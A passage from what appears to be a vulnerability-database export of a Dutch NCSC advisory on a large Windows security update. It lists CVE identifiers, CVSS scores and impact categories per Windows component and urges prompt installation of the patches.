| 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:00:59.544813Z"}, {"uuid": "d0da46c4-db4c-4196-ae88-54ca7ff0643f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54126", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | 